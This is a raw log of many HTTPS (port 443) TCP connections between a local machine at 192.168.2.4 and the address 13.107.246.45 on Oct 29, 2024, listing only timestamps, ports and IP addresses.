Oct 29, 2024 20:38:05.220297098 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.220314026 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.220319986 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.237020016 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.442395926 CET	443	49816	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.486974955 CET	49816	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.488740921 CET	49816	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.488749981 CET	443	49816	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.494342089 CET	49816	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.494355917 CET	443	49816	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.496665955 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.496723890 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.496759892 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.496778965 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.499967098 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.500006914 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.503381968 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.503412962 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.522387028 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.522418976 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.522525072 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.522672892 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.522679090 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.524033070 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.524086952 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.524167061 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.524491072 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.524507999 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.621886969 CET	443	49816	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.621961117 CET	443	49816	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.622009993 CET	49816	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.622211933 CET	49816	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.622222900 CET	443	49816	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.622234106 CET	49816	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.622239113 CET	443	49816	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.625248909 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.625288010 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.625363111 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.625602007 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.625623941 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.646146059 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.646222115 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.646306992 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.646536112 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.646536112 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.646606922 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.646653891 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.649590015 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.649637938 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.649743080 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.649883986 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.649895906 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.667380095 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.668061972 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.668087959 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.668556929 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.668562889 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.799527884 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.799609900 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.799802065 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.799907923 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.799936056 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.799942970 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.799949884 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.803478956 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.803522110 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:05.803627014 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.803809881 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:05.803821087 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.286761999 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.287977934 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.288000107 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.288786888 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.288798094 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.315434933 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.317524910 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.317548037 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.321147919 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.321162939 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.358747959 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.359283924 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.359298944 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.359913111 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.359920979 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.410701990 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.411287069 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.411334991 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.411807060 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.411814928 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.419553041 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.420458078 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.420507908 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.420552015 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.420567989 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.420584917 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.420591116 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.423732996 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.423777103 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.423841000 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.423986912 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.424000978 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.468174934 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.468512058 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.468611002 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.468652964 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.468652964 CET	49819	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.468672037 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.468683004 CET	443	49819	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.471692085 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.471726894 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.471806049 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.471983910 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.471998930 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.490781069 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.491668940 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.491729975 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.491763115 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.491763115 CET	49820	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.491782904 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.491794109 CET	443	49820	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.494033098 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.494065046 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.494164944 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.494271040 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.494292974 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.548373938 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.548595905 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.548736095 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.548769951 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.548793077 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.548804998 CET	49821	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.548811913 CET	443	49821	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.551415920 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.551454067 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.551522970 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.551645041 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.551652908 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.553396940 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.553730965 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.553751945 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.554128885 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.554135084 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.690574884 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.690659046 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.690747976 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.691052914 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.691052914 CET	49822	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.691083908 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.691093922 CET	443	49822	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.694442034 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.694483995 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:06.694582939 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.694771051 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:06.694785118 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.201766968 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.202827930 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.202855110 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.203341007 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.203349113 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.203572035 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.203833103 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.203866959 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.204158068 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.204166889 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.323637009 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.324246883 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.324281931 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.324809074 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.324816942 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.332240105 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.332330942 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.332391977 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.332443953 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.332459927 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.332509041 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.332591057 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.332712889 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.332712889 CET	49823	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.332734108 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.332742929 CET	443	49823	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.332849026 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.332870007 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.332870007 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.332884073 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.332885981 CET	49824	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.332894087 CET	443	49824	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.333321095 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.333328009 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.336309910 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.336334944 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.336359978 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.336390972 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.336468935 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.336469889 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.336635113 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.336651087 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.336744070 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.336767912 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.440260887 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.441063881 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.441085100 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.441548109 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.441560984 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.453834057 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.454015017 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.454200983 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.454474926 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.454497099 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.454513073 CET	49826	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.454519987 CET	443	49826	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.458112001 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.458164930 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.458254099 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.458431959 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.458446980 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.467636108 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.467710018 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.467888117 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.467927933 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.467951059 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.467962027 CET	49825	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.467972040 CET	443	49825	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.470746994 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.470830917 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.470941067 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.471084118 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.471120119 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.571333885 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.571423054 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.571546078 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.571842909 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.571842909 CET	49827	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.571867943 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.571903944 CET	443	49827	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.575345039 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.575404882 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:07.575962067 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.576206923 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:07.576216936 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.071703911 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.073271036 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.073296070 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.073887110 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.073899031 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.083930969 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.089533091 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.089582920 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.090229034 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.090246916 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.201786041 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.202586889 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.202608109 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.203002930 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.203073025 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.203079939 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.203088999 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.203140974 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.203265905 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.203284979 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.203298092 CET	49828	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.203305006 CET	443	49828	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.206648111 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.206691027 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.206769943 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.206926107 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.206934929 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.217225075 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.217663050 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.217674017 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.218179941 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.218187094 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.220623970 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.221045017 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.221142054 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.221316099 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.221330881 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.221365929 CET	49829	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.221371889 CET	443	49829	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.224294901 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.224339962 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.224509954 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.224689007 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.224699020 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.333822966 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.333981037 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.334076881 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.334199905 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.334220886 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.334234953 CET	49830	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.334243059 CET	443	49830	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.337565899 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.337619066 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.337683916 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.337826967 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.337836981 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.350136042 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.350157022 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.350229025 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.350250959 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.350265026 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.350318909 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.350455046 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.350474119 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.350485086 CET	49831	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.350491047 CET	443	49831	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.353060007 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.353094101 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.353267908 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.353358030 CET	49836	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.353374004 CET	443	49836	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.354789972 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.355164051 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.355190992 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.355621099 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.355627060 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.494400024 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.494667053 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.494987965 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.495032072 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.495049953 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.495088100 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.495093107 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.498187065 CET	49837	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.498234987 CET	443	49837	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.498322010 CET	49837	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.498486996 CET	49837	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.498502970 CET	443	49837	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.952910900 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.955329895 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.955416918 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.956088066 CET	49833	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.956147909 CET	443	49833	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.976720095 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.977933884 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.977967024 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:08.978694916 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:08.978708029 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.082011938 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:09.086525917 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:09.086625099 CET	443	49835	13.107.246.45	192.168.2.4
